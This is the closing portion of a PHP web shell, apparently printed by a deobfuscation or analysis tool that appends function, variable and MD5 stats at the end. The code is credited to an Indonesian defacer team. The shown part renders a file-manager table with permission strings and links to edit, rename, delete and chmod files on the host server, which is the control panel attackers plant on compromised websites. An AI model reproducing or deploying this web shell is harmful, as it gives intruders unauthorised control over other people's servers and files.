                            <td><img src='data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAAZiS0dEAP8A/wD/oL2nkwAAAAlwSFlzAAALEwAACxMBAJqcGAAAAAd0SU1FB9oJBhcTJv2B2d4AAAJMSURBVDjLbZO9ThxZEIW/qlvdtM38BNgJQmQgJGd+A/MQBLwGjiwH3nwdkSLtO2xERG5LqxXRSIR2YDfD4GkGM0P3rb4b9PAz0l7pSlWlW0fnnLolAIPB4PXh4eFunucAIILwdESeZyAifnp6+u9oNLo3gM3NzTdHR+//zvJMzSyJKKodiIg8AXaxeIz1bDZ7MxqNftgSURDWy7LUnZ0dYmxAFAVElI6AECygIsQQsizLBOABADOjKApqh7u7GoCUWiwYbetoUHrrPcwCqoF2KUeXLzEzBv0+uQmSHMEZ9F6SZcr6i4IsBOa/b7HQMaHtIAwgLdHalDA1ev0eQbSjrErQwJpqF4eAx/hoqD132mMkJri5uSOlFhEhpUQIiojwamODNsljfUWCqpLnOaaCSKJtnaBCsZYjAllmXI4vaeoaVX0cbSdhmUR3zAKvNjY6Vioo0tWzgEonKbW+KkGWt3Unt0CeGfJs9g+UU0rEGHH/Hw/MjH6/T+POdFoRNKChM22xmOPespjPGQ6HpNQ27t6sACDSNanyoljDLEdVaFOLe8ZkUjK5ukq3t79lPC7/ODk5Ga+Y6O5MqymNw3V1y3hyzfX0hqvJLybXFd++f2d3d0dms+qvg4ODz8fHx0/Lsbe3964sS7+4uEjunpqmSe6e3D3N5/N0WZbtly9f09nZ2Z/b29v2fLEevvK9qv7c2toKi8UiiQiqHbm6riW6a13fn+zv73+oqorhcLgKUFXVP+fn52+Lonj8ILJ0P8ZICCF9/PTpClhpBvgPeloL9U55NIAAAAAASUVORK5CYII='> <a href=\"?filesrc=$path/$file&path=$path\">$file</a></td>
                            <td><center>" . $size . "</center></td>
                            <td><center>";
                    if (is_writable("$path/$file")) echo '<font color="green">';
                    elseif (!is_readable("$path/$file")) echo '<font color="red">';
                    echo perms("$path/$file");
                    if (is_writable("$path/$file") || !is_readable("$path/$file")) echo '</font>';
                    echo "</center></td>
                            <td><center>
                                <a href=\"?option&path=$path&opt=edit&type=file&name=$file\">Edit</a> |
                                <a href=\"?option&path=$path&opt=rename&type=file&name=$file&path=$path\">Rename</a> |
                                <a href=\"?option&path=$path&opt=delete&type=file&name=$file\">Delete</a> |
                                <a href=\"?option&path=$path&opt=chmod&type=file&name=$file\">Chmod</a>
                            </center></td>
                        </tr>";
                }
                echo '</table></div>';
            }
            echo '<br><center>C0ded By Uncle Detective<br>Indonesia Defacer Tersakiti Team</b></body></html>';

            function perms($file)
            {
                $perms = fileperms($file);

                if (($perms & 0xC000) == 0xC000) {
                    // Socket
                    $info = 's';
                } elseif (($perms & 0xA000) == 0xA000) {
                    // Symbolic Link
                    $info = 'l';
                } elseif (($perms & 0x8000) == 0x8000) {
                    // Regular
                    $info = '-';
                } elseif (($perms & 0x6000) == 0x6000) {
                    // Block special
                    $info = 'b';
                } elseif (($perms & 0x4000) == 0x4000) {
                    // Directory
                    $info = 'd';
                } elseif (($perms & 0x2000) == 0x2000) {
                    // Character special
                    $info = 'c';
                } elseif (($perms & 0x1000) == 0x1000) {
                    // FIFO pipe
                    $info = 'p';
                } else {
                    // Unknown
                    $info = 'u';
                }

                // Owner
                $info .= (($perms & 0x0100) ? 'r' : '-');
                $info .= (($perms & 0x0080) ? 'w' : '-');
                $info .= (($perms & 0x0040) ?
                    (($perms & 0x0800) ? 's' : 'x') :
                    (($perms & 0x0800) ? 'S' : '-'));

                // Group
                $info .= (($perms & 0x0020) ? 'r' : '-');
                $info .= (($perms & 0x0010) ? 'w' : '-');
                $info .= (($perms & 0x0008) ?
                    (($perms & 0x0400) ? 's' : 'x') :
                    (($perms & 0x0400) ? 'S' : '-'));

                // World
                $info .= (($perms & 0x0004) ? 'r' : '-');
                $info .= (($perms & 0x0002) ? 'w' : '-');
                $info .= (($perms & 0x0001) ?
                    (($perms & 0x0200) ? 't' : 'x') :
                    (($perms & 0x0200) ? 'T' : '-'));

                return $info;
            }
            ?>
</body>

</html>


<!-- Add a logout button or link below your file manager -->
<a href="?logout">Logout</a>

Function Calls

None

Variables

None

Stats

MD5 85f477d21c71d0e79847c84839ac4506
Eval Count 0
Decode Time 55 ms